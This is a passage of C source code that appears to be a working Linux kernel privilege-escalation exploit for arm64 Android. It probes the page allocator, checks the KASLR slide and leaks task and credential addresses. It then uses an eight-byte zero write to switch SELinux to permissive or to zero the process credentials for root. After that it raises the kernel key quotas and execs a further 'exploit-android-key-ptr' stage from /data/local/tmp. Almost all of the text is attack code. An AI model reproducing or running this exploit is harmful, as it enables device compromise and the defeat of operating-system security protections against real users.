	uint64_t sample_pfn = 0;
	int sample_order = -1;
	int result = -1;
	bool probe_active = false;
	if (probe_setup(&probe, "__arm64_sys_getpid",
			"ip=%pc:x64", false)) {
		dprintf(STDERR_FILENO,
			"[pcp-preflight] primary probe errno=%d (%s)\n",
			errno, strerror(errno));
		(void)probe_cleanup(&probe);
		return -1;
	}
	probe_active = true;
	if (probe_add_pcp_drain_tracking(&probe)) {
		dprintf(STDERR_FILENO,
			"[pcp-preflight] drain tracepoint errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	if (prime_order0_pcp(pcp_prime_pages)) {
		dprintf(STDERR_FILENO,
			"[pcp-preflight] prime errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	file = fopen(TRACE_TEXT, "r");
	if (!file)
		goto out;
	while (fgets(line, sizeof(line), file)) {
		char *event = strstr(line, "mm_page_pcpu_drain:");
		uint64_t pfn;
		if (!event || trace_field_u64(event, "pfn", &pfn))
			continue;
		seen++;
		if (!sample_pfn) {
			char *order_field = strstr(event, "order=");
			sample_pfn = pfn;
			if (order_field)
				sample_order = (int)strtol(order_field + 6,
							NULL, 10);
		}
	}
	fclose(file);
	dprintf(STDERR_FILENO,
		"[pcp-preflight] drain events=%u sample_pfn=0x%" PRIx64
		" sample_order=%d\n",
		seen, sample_pfn, sample_order);
	result = seen ? 0 : -1;
out:
	if (probe_active && probe_cleanup(&probe))
		result = -1;
	return result;
}

int main(int argc, char **argv)
{
	(void)signal(SIGPIPE, SIG_IGN);
	install_fatal_park();
	if (argc > 1 && !strcmp(argv[1], "--exec-probe")) {
		dprintf(STDERR_FILENO,
			"[exec] reached new image: exec succeeded before SIGKILL\n");
		return 42;
	}
	for (int i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "--help")) {
			fprintf(stderr,
				"usage: %s --preflight | --aio-probe | --pcp-probe | "
				"--target comm-test|selinux|cred [--slide 0xN] "
				"[--vmas 1..%u] [--attempts 1..%u] "
				"[--fillers 1..%u] [--prefix N] [--churn N] "
				"[--pcp-prime N] [--aio 1..%u]\n",
				argv[0], MAX_VMAS, MAX_ATTEMPTS,
				FILLER_MAX, AIO_MAX);
			return 0;
		}
		if (!strcmp(argv[i], "--preflight")) {
			preflight_only = true;
			continue;
		}
		if (!strcmp(argv[i], "--aio-preflight") ||
		    !strcmp(argv[i], "--aio-probe")) {
			aio_preflight_only = true;
			continue;
		}
		if (!strcmp(argv[i], "--pcp-probe")) {
			pcp_preflight_only = true;
			continue;
		}
		if (i + 1 >= argc) {
			fprintf(stderr, "missing value for %s\n", argv[i]);
			return 2;
		}
		if (!strcmp(argv[i], "--vmas")) {
			if (parse_uint(argv[++i], MAX_VMAS, &requested_vmas))
				return 2;
		} else if (!strcmp(argv[i], "--attempts")) {
			if (parse_uint(argv[++i], MAX_ATTEMPTS,
				       &requested_attempts))
				return 2;
		} else if (!strcmp(argv[i], "--target")) {
			const char *name = argv[++i];
			if (!strcmp(name, "selinux"))
				target_kind = TARGET_SELINUX;
			else if (!strcmp(name, "cred"))
				target_kind = TARGET_CRED;
			else if (!strcmp(name, "comm-test"))
				target_kind = TARGET_COMM_TEST;
			else
				return 2;
		} else if (!strcmp(argv[i], "--slide")) {
			if (parse_u64(argv[++i], &kaslr_slide))
				return 2;
		} else if (!strcmp(argv[i], "--fillers")) {
			if (parse_uint(argv[++i], FILLER_MAX, &filler_limit))
				return 2;
		} else if (!strcmp(argv[i], "--prefix")) {
			if (parse_uint(argv[++i], FILLER_MAX,
				       &prefix_minimum))
				return 2;
		} else if (!strcmp(argv[i], "--churn")) {
			if (parse_uint(argv[++i], FILLER_MAX, &churn_limit))
				return 2;
		} else if (!strcmp(argv[i], "--pcp-prime")) {
			if (parse_uint(argv[++i], PCP_PRIME_MAX,
				       &pcp_prime_pages))
				return 2;
		} else if (!strcmp(argv[i], "--aio")) {
			if (parse_uint(argv[++i], AIO_MAX, &aio_limit))
				return 2;
		} else {
			fprintf(stderr, "unknown option: %s\n", argv[i]);
			return 2;
		}
	}
	if ((preflight_only ? 1 : 0) +
	    (aio_preflight_only ? 1 : 0) +
	    (pcp_preflight_only ? 1 : 0) > 1) {
		fprintf(stderr, "select one preflight mode\n");
		return 2;
	}
	if (pcp_preflight_only) {
		if (target_kind != TARGET_NONE)
			return 2;
		if (pin_allocator_cpu())
			return 1;
		int pcp_result = run_pcp_preflight();
		restore_affinity();
		return pcp_result ? 1 : 0;
	}
	if (aio_preflight_only) {
		if (target_kind != TARGET_NONE)
			return 2;
		return run_aio_preflight() ? 1 : 0;
	}
	if (preflight_only) {
		if (target_kind != TARGET_NONE) {
			fprintf(stderr, "--preflight cannot select a write target\n");
			return 2;
		}
		if (pin_allocator_cpu())
			return 1;
		int preflight_result = run_preflight();
		restore_affinity();
		return preflight_result ? 1 : 0;
	}
	if (target_kind == TARGET_NONE || sysconf(_SC_PAGESIZE) != 4096) {
		fprintf(stderr, "target selection and 4096-byte pages required\n");
		return 2;
	}
	uint64_t target = 0, state_word = 0, lockword = 0;
	uint64_t observed_slide = 0;
	uid_t initial_uid = getuid();
	gid_t initial_gid = getgid();
	int initial_enforce = read_enforce();
	dprintf(STDERR_FILENO,
		"[main] pid=%d uid=%d euid=%d target=%s vmas=%u attempts=%u "
		"fillers=%u prefix=%u churn=%u prime=%u aio=%u\n",
		getpid(), getuid(), geteuid(),
		target_kind == TARGET_SELINUX ? "selinux" :
		(target_kind == TARGET_CRED ? "cred" : "comm-test"),
		requested_vmas, requested_attempts, filler_limit,
		prefix_minimum, churn_limit, pcp_prime_pages, aio_limit);
	if (target_kind == TARGET_SELINUX) {
		if (sample_selinux_state(&state_word, &lockword,
					 &observed_slide)) {
			dprintf(STDERR_FILENO, "[main] cannot sample SELinux state\n");
			return 1;
		}
		if (kaslr_slide && observed_slide && kaslr_slide != observed_slide) {
			dprintf(STDERR_FILENO,
				"[main] KASLR slide mismatch provided=0x%" PRIx64
				" observed=0x%" PRIx64 "\n",
				kaslr_slide, observed_slide);
			return 1;
		}
		if (!kaslr_slide)
			kaslr_slide = observed_slide;
		if (!kaslr_slide || (kaslr_slide & 0x1fffff) ||
		    (state_word & 0xff) != 1 || lockword != 0 ||
		    read_enforce() != 1) {
			dprintf(STDERR_FILENO,
				"[main] expected enforcing=1, notif_lock=0 and verified slide; stop\n");
			return 1;
		}
		/* An unaligned store ending at enforcing preserves initialized and
		 * policycap; the preceding qspinlock word must be idle (zero).
		 * This is target-specific and must be revalidated per boot.
		 */
		target = LINK_SELINUX_STATE + kaslr_slide - 7;
	} else if (target_kind == TARGET_COMM_TEST) {
		uint64_t task_address;
		if (leak_current_task_for_comm_test(&task_address))
			return 1;
		target = task_address + 0x918;
	} else {
		uint64_t private_cred;
		if (read_enforce() != 0) {
			dprintf(STDERR_FILENO,
				"[main] SELinux is not yet permissive; run selinux stage first\n");
			return 1;
		}
		if (make_private_cred_and_leak(&private_cred))
			return 1;
		target = private_cred + 8;
	}
	dprintf(STDERR_FILENO, "[main] eight-byte zero target=0x%" PRIx64
		"\n", target);
	if (pin_allocator_cpu()) {
		dprintf(STDERR_FILENO, "[main] allocator affinity pin failed\n");
		return 1;
	}
	for (unsigned int i = 1; i <= requested_attempts; i++) {
		int attempt_result = run_zero_attempt(i, target);
		if (attempt_result) {
			if (target_kind == TARGET_SELINUX &&
			    read_enforce() == 0) {
				dprintf(STDERR_FILENO,
					"[attempt %u] enforcing already zero; "
					"stop without rewriting same target\n", i);
				break;
			}
			if (target_kind == TARGET_CRED &&
			    (!getuid() || !geteuid() || !getgid() || !getegid())) {
				dprintf(STDERR_FILENO,
					"[attempt %u] UID/GID partially or fully zero; "
					"stop without reusing old cred pointer\n", i);
				print_status_identity();
				break;
			}
			continue;
		}
		if (target_kind == TARGET_SELINUX) {
			uint64_t after = UINT64_MAX, after_slide = 0;
			uint64_t after_lock = UINT64_MAX;
			int mode = read_enforce();
			if (mode == 0 &&
			    !sample_selinux_state(&after, &after_lock,
						 &after_slide) &&
			    after == (state_word & ~UINT64_C(0xff))) {
				dprintf(STDERR_FILENO,
					"[success] SELinux Permissive; initialized/policycap preserved\n");
				restore_affinity();
				return 0;
			}
			dprintf(STDERR_FILENO,
				"[attempt %u] SELinux still enforcing or state word nonzero\n",
				i);
			if (mode == 0) {
				dprintf(STDERR_FILENO,
					"[attempt %u] enforcing changed; "
					"stop despite incomplete verification\n", i);
				break;
			}
		} else if (target_kind == TARGET_COMM_TEST) {
			char name[16] = { 0 };
			if (prctl(PR_GET_NAME, name, 0, 0, 0) == 0 &&
			    !strcmp(name, "pc98260-") &&
			    getuid() == initial_uid && getgid() == initial_gid &&
			    read_enforce() == initial_enforce) {
				dprintf(STDERR_FILENO,
					"[success] comm-test: name truncated to first 8 bytes; "
					"uid=%d enforce=%d\n",
					getuid(), read_enforce());
				restore_affinity();
				return 0;
			}
			dprintf(STDERR_FILENO,
				"[comm-test] name still '%s'; zero write missed\n",
				name);
			if (!strcmp(name, "pc98260-")) {
				dprintf(STDERR_FILENO,
					"[comm-test] name changed; stop without another write\n");
				break;
			}
		} else if (!getuid() || !geteuid() || !getgid() || !getegid()) {
			if (getuid() == 0 && getgid() == 0 &&
			    (setresgid(0, 0, 0) || setresuid(0, 0, 0))) {
				dprintf(STDERR_FILENO,
					"[cred] setresgid/uid errno=%d (%s)\n",
					errno, strerror(errno));
				print_status_identity();
				break;
			}
			print_status_identity();
			if (getuid() == 0 && geteuid() == 0 &&
			    getgid() == 0 && getegid() == 0) {
				char *const next_argv[] = {
					(char *)"exploit-android-key-ptr",
					(char *)"--target", (char *)"fullcap",
					(char *)"--attempts", (char *)"12",
					(char *)"--prefix", (char *)"1",
					(char *)"--churn", (char *)"512",
					(char *)"--pcp-prime", (char *)"8192",
					(char *)"--aio", (char *)"8192", NULL
				};
				char *const next_env[] = {
					(char *)"PATH=/system/bin:/vendor/bin:/data/local/tmp",
					NULL
				};
				if (write_control("/proc/sys/kernel/keys/maxkeys",
						  "50000\n", false) ||
				    write_control("/proc/sys/kernel/keys/maxbytes",
						  "10000000\n", false)) {
					dprintf(STDERR_FILENO,
						"[chain] key quota setup failed errno=%d\n",
						errno);
					break;
				}
				dprintf(STDERR_FILENO,
					"[chain] UID/GID 0; exec fullcap stage\n");
				restore_affinity();
				execve("/data/local/tmp/exploit-android-key-ptr",
				       next_argv, next_env);
				dprintf(STDERR_FILENO,
					"[chain] fullcap exec errno=%d (%s)\n",
					errno, strerror(errno));
			}
			dprintf(STDERR_FILENO,
				"[cred] identity changed; stop without reusing old cred pointer\n");
			break;
		} else {
			print_status_identity();
		}
	}
	restore_affinity();
	return 1;
}